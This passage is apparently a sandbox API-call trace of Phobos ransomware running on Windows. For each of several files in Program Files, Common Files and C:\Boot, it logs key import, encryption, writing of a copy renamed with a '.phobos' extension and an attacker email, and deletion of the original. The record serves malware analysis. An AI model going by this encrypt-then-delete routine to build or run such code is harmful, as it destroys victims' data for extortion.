(normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0047.167] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.167] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.167] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=14084) returned 1 [0047.167] CloseHandle (hObject=0x310) returned 1 [0047.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0047.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.168] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.168] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.168] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.168] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.168] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0047.168] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.168] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x3704, lpOverlapped=0x0) returned 1 [0047.531] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3710, dwBufLen=0x3710 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3710) returned 1 [0047.531] WriteFile (in: hFile=0x32c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x3710, lpOverlapped=0x0) returned 1 [0047.533] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca10) returned 1 [0047.533] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.533] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0047.533] CryptDestroyKey (hKey=0x10dca10) returned 1 [0047.533] WriteFile (in: hFile=0x32c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0047.533] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0047.533] CloseHandle (hObject=0x310) returned 1 [0047.533] CloseHandle (hObject=0x32c) returned 1 [0047.534] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0047.535] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.535] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.535] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=104072) returned 1 [0047.536] CloseHandle (hObject=0x32c) returned 1 [0047.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0047.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.536] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.536] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.536] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.536] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.536] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc950) returned 1 [0047.536] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.536] ReadFile (in: hFile=0x32c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x19688, lpOverlapped=0x0) returned 1 [0047.677] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x19690, dwBufLen=0x19690 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x19690) returned 1 [0047.677] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x19690, lpOverlapped=0x0) returned 1 [0047.679] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc550) returned 1 [0047.679] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.679] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0047.679] CryptDestroyKey (hKey=0x10dc550) returned 1 [0047.679] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0047.679] CryptDestroyKey (hKey=0x10dc950) returned 1 [0047.679] CloseHandle (hObject=0x32c) returned 1 [0047.679] CloseHandle (hObject=0x310) returned 1 [0047.682] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0047.683] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.683] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0047.995] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4662) returned 1 [0047.995] CloseHandle (hObject=0x328) returned 1 [0047.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0047.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.995] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.995] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.045] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4136) returned 1 [0048.045] CloseHandle (hObject=0x304) returned 1 [0048.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0048.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.046] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0048.046] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0048.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0048.046] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc810) returned 1 [0048.046] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0048.046] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1028, lpOverlapped=0x0) returned 1 [0048.075] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1030, dwBufLen=0x1030 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1030) returned 1 [0048.075] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1030, lpOverlapped=0x0) returned 1 [0048.076] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0048.076] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0048.076] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0048.076] CryptDestroyKey (hKey=0x10dc690) returned 1 [0048.076] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0048.076] CryptDestroyKey (hKey=0x10dc810) returned 1 [0048.076] CloseHandle (hObject=0x304) returned 1 [0048.076] CloseHandle (hObject=0x310) returned 1 [0048.077] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0048.078] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0048.078] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4450) returned 1 [0048.078] CloseHandle (hObject=0x310) returned 1 [0048.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0048.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0048.078] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0048.078] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0048.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.240] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc710) returned 1 [0048.240] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0048.240] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1162, lpOverlapped=0x0) returned 1 [0048.252] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1170, dwBufLen=0x1170 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1170) returned 1 [0048.252] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1170, lpOverlapped=0x0) returned 1 [0048.253] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc50) returned 1 [0048.253] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0048.253] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x60, dwBufLen=0x60 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x60) returned 1 [0048.253] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0048.253] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x112, lpOverlapped=0x0) returned 1 [0048.253] CryptDestroyKey (hKey=0x10dc710) returned 1 [0048.253] CloseHandle (hObject=0x310) returned 1 [0048.253] CloseHandle (hObject=0x31c) returned 1 [0048.254] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0048.255] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.275] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=27045) returned 1 [0048.275] CloseHandle (hObject=0x31c) returned 1 [0048.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0048.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.275] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.281] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=111320) returned 1 [0048.281] CloseHandle (hObject=0x31c) returned 1 [0048.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0048.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.281] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.285] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=46622) returned 1 [0048.286] CloseHandle (hObject=0x31c) returned 1 [0048.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0048.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.286] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.286] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=208408) returned 1 [0048.287] CloseHandle (hObject=0x31c) returned 1 [0048.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0048.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.287] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.288] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=199994) returned 1 [0048.288] CloseHandle (hObject=0x31c) returned 1 [0048.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: 